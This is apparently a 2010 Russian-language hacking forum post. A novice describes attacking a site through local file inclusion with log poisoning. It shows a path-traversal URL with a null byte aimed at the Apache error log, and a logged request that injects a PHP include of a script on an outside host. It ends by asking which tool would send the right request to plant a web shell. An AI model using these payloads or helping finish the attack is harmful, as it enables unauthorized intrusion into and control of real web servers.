
22.11.2010, 20:17
|
|
Новичок
Регистрация: 20.04.2010
Сообщений: 1
С нами:
8452680
Репутация:
0
|
|
http://xxx.com/index.php?id=
Делаю такой запрос ч-з адресную строку
Перехожу:
http://xxx.com/index.php?id=../../../../../../../../../../../../../../../var/log/httpd/error_log%00
в логах
[Mon Nov 22 16:10:39 2010] [error] [client 222.222.222.222] File does not exist: /home/hgjhgjhgjhgjhg/favicon.ico, referer: http://xxx.com/index.php?id=%3C?php%20include(%22http://123.narod.ru/list.php%22);%20?%3E%00 [Mon Nov 22 16:10:41 2010] [error]
т.е. не пишется что он передался ч-з гет. хотя другие записи с гет есть.
access_log огромных размеров но в вверху вообще нет записей моего ip.
Ч-з какую прогу можно отправить правильный запрос чтобы залить шелл(inetcrack или аналоги) help plz
|
|
|